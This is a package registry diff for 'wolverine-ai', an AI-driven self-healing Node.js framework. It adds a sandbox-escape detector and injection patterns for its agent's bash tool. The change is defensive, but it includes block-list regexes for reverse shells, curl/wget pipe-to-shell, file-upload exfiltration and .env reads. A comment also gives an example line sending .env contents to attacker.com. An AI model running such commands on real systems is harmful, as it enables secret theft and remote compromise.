wolverine-ai 4.5.1 → 4.5.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "wolverine-ai",
3
- "version": "4.5.1",
3
+ "version": "4.5.3",
4
4
  "description": "Self-healing Node.js server framework powered by AI. Catches crashes, diagnoses errors, generates fixes, verifies, and restarts — automatically.",
5
5
  "main": "src/index.js",
6
6
  "bin": {
@@ -486,6 +486,67 @@ const BLOCKED_COMMANDS = [
486
486
  /mv\s+.*\s+src\//i, // move into src/
487
487
  ];
488
488
 
489
+ /**
490
+ * Lightweight sandbox escape detector for bash commands.
491
+ * Catches commands that write, read, or navigate outside the project directory.
492
+ * Returns a reason string if blocked, null if safe.
493
+ */
494
+ function _detectSandboxEscape(cmd, cwd) {
495
+ // Normalize for checking
496
+ const c = cmd.replace(/\\\n/g, " "); // unwrap line continuations
497
+
498
+ // 1. Absolute paths outside project (writes, reads, or cd)
499
+ // Allow: npm/node/git system commands that naturally reference /usr, /tmp etc.
500
+ const absPathMatch = c.match(/(?:>|>>|cp\s|mv\s|rm\s|cat\s|tee\s|mkdir\s|touch\s|chmod\s|chown\s|ln\s)\s*([/\\][^\s;|&>]+)/i);
501
+ if (absPathMatch) {
502
+ const target = absPathMatch[1];
503
+ const cwdNorm = cwd.replace(/\\/g, "/");
504
+ const targetNorm = target.replace(/\\/g, "/");
505
+ // Allow /tmp, /dev/null, and paths inside the project
506
+ if (!targetNorm.startsWith(cwdNorm) && !targetNorm.startsWith("/tmp") && !targetNorm.startsWith("/dev/null")) {
507
+ return `Command targets path outside project: ${target}`;
508
+ }
509
+ }
510
+
511
+ // 2. cd to parent directories or absolute paths outside project
512
+ const cdMatch = c.match(/\bcd\s+([^\s;|&]+)/i);
513
+ if (cdMatch) {
514
+ const target = cdMatch[1];
515
+ if (target === "/" || target === "~" || target.startsWith("/") || target.startsWith("~")) {
516
+ const resolved = target.replace("~", require("os").homedir()).replace(/\\/g, "/");
517
+ if (!resolved.startsWith(cwd.replace(/\\/g, "/"))) {
518
+ return `cd to path outside project: ${target}`;
519
+ }
520
+ }
521
+ // Count .. traversals
522
+ const parts = target.split("/");
523
+ let depth = 0;
524
+ for (const p of parts) { if (p === "..") depth++; else if (p && p !== ".") depth--; }
525
+ if (depth > 0) {
526
+ return `cd with path traversal escaping project: ${target}`;
527
+ }
528
+ }
529
+
530
+ // 3. Backtick/subshell command substitution writing outside project
531
+ // e.g., $(cat /etc/passwd > /tmp/leak) or `curl attacker.com/$(cat .env.local)`
532
+ if (/\$\(.*(?:>|>>)\s*[/\\](?!tmp)/.test(c) || /`.*(?:>|>>)\s*[/\\](?!tmp)/.test(c)) {
533
+ return "Subshell write to absolute path detected";
534
+ }
535
+
536
+ // 4. Pipe to file outside project
537
+ // e.g., echo data | tee /etc/cron.d/malicious
538
+ if (/\|\s*tee\s+[/\\](?!tmp)/.test(c)) {
539
+ return "Pipe to tee with absolute path outside /tmp";
540
+ }
541
+
542
+ // 5. Curl/wget uploading local files
543
+ if (/curl.*-[dF]\s*@/.test(c) || /curl.*--data-binary\s*@/.test(c)) {
544
+ return "curl uploading local file (potential data exfiltration)";
545
+ }
546
+
547
+ return null; // safe
548
+ }
549
+
489
550
  class AgentEngine {
490
551
  constructor(options = {}) {
491
552
  this.sandbox = options.sandbox;
@@ -925,17 +986,26 @@ class AgentEngine {
925
986
  // ── SHELL TOOLS ──
926
987
 
927
988
  _bashExec(args) {
928
- // Security: check for blocked commands (claw-code: destructiveCommandWarning, bashSecurity)
989
+ const cmd = args.command || "";
990
+
991
+ // Security: check for blocked commands
929
992
  for (const blocked of BLOCKED_COMMANDS) {
930
- if (blocked.test(args.command)) {
931
- console.log(chalk.red(` 🛡️ Blocked dangerous command: ${args.command}`));
932
- return { content: `BLOCKED: Command "${args.command}" is not allowed for safety reasons.` };
993
+ if (blocked.test(cmd)) {
994
+ console.log(chalk.red(` 🛡️ Blocked dangerous command: ${cmd}`));
995
+ return { content: `BLOCKED: Command "${cmd}" is not allowed for safety reasons.` };
933
996
  }
934
997
  }
935
998
 
999
+ // Security: sandbox escape detection — block commands that operate outside project dir
1000
+ const escapeCheck = _detectSandboxEscape(cmd, this.cwd);
1001
+ if (escapeCheck) {
1002
+ console.log(chalk.red(` 🛡️ Blocked sandbox escape: ${escapeCheck}`));
1003
+ return { content: `BLOCKED: ${escapeCheck}` };
1004
+ }
1005
+
936
1006
  const timeout = Math.min(args.timeout || 30000, 60000);
937
1007
  try {
938
- const output = execSync(args.command, {
1008
+ const output = execSync(cmd, {
939
1009
  cwd: this.cwd,
940
1010
  encoding: "utf-8",
941
1011
  timeout,
@@ -44,6 +44,45 @@ const INJECTION_PATTERNS = [
44
44
  // Vault key material leak — CRITICAL: block heal entirely
45
45
  { pattern: /0x[0-9a-fA-F]{64}/i, label: "key-leak-critical" },
46
46
  { pattern: /master\.key|eth\.vault|\.wolverine\/vault/i, label: "vault-path-leak" },
47
+ // Bash sandbox escape — mirrors BLOCKED_COMMANDS + _detectSandboxEscape from agent-engine
48
+ // Destructive system commands
49
+ { pattern: /\brm\s+-rf\s+[/\\]/i, label: "destructive-bash" },
50
+ { pattern: /\brmdir\s+[/\\]/i, label: "destructive-bash" },
51
+ { pattern: /\bformat\s+[a-z]:/i, label: "destructive-bash" },
52
+ { pattern: /\bmkfs\b/i, label: "destructive-bash" },
53
+ { pattern: /\bdd\s+if=/i, label: "destructive-bash" },
54
+ { pattern: /\b(shutdown|reboot|halt)\b/i, label: "destructive-bash" },
55
+ // Git destructive operations
56
+ { pattern: /\bgit\s+push\s+--force/i, label: "destructive-git" },
57
+ { pattern: /\bgit\s+reset\s+--hard/i, label: "destructive-git" },
58
+ { pattern: /\bnpm\s+publish\b/i, label: "destructive-npm" },
59
+ // Pipe to shell / code execution
60
+ { pattern: /\bcurl\b.*\|\s*(?:bash|sh)\b/i, label: "bash-pipe-exec" },
61
+ { pattern: /\bwget\b.*\|\s*(?:bash|sh)\b/i, label: "bash-pipe-exec" },
62
+ // Data exfiltration via bash
63
+ { pattern: /curl.*\$\(/i, label: "bash-exfil" },
64
+ { pattern: /curl.*-[dF]\s*@/i, label: "bash-exfil" },
65
+ { pattern: /curl.*--data-binary\s*@/i, label: "bash-exfil" },
66
+ { pattern: /wget.*--post-file/i, label: "bash-exfil" },
67
+ { pattern: /cat\s+\.env/i, label: "bash-secret-read" },
68
+ // Sandbox escape — writes outside project directory
69
+ { pattern: /cd\s+\/(?!tmp)\w/i, label: "bash-escape" },
70
+ { pattern: />\s*\/(?!tmp|dev\/null)\w/i, label: "bash-escape" },
71
+ { pattern: /\btee\s+\/(?!tmp)\w/i, label: "bash-escape" },
72
+ { pattern: /\bcp\s+.*\s+\/(?!tmp)\w/i, label: "bash-escape" },
73
+ { pattern: /\bmv\s+.*\s+\/(?!tmp)\w/i, label: "bash-escape" },
74
+ // Writes to framework source (src/)
75
+ { pattern: />\s*src\//i, label: "bash-src-write" },
76
+ { pattern: /\bcp\s+.*\s+src\//i, label: "bash-src-write" },
77
+ { pattern: /\btee\s+.*src\//i, label: "bash-src-write" },
78
+ { pattern: /\bmv\s+.*\s+src\//i, label: "bash-src-write" },
79
+ // Reverse shell patterns
80
+ { pattern: /\bnc\s+-[lpe]/i, label: "bash-reverse-shell" },
81
+ { pattern: /\bbash\s+-i\b/i, label: "bash-reverse-shell" },
82
+ { pattern: /\/dev\/tcp\//i, label: "bash-reverse-shell" },
83
+ { pattern: /\bmkfifo\b/i, label: "bash-reverse-shell" },
84
+ { pattern: /\bpython[23]?\s+-c\s+['"]import\s+(socket|os|subprocess)/i, label: "bash-reverse-shell" },
85
+ { pattern: /\bperl\s+-e\s+['"].*socket/i, label: "bash-reverse-shell" },
47
86
  ];
48
87
 
49
88
  /**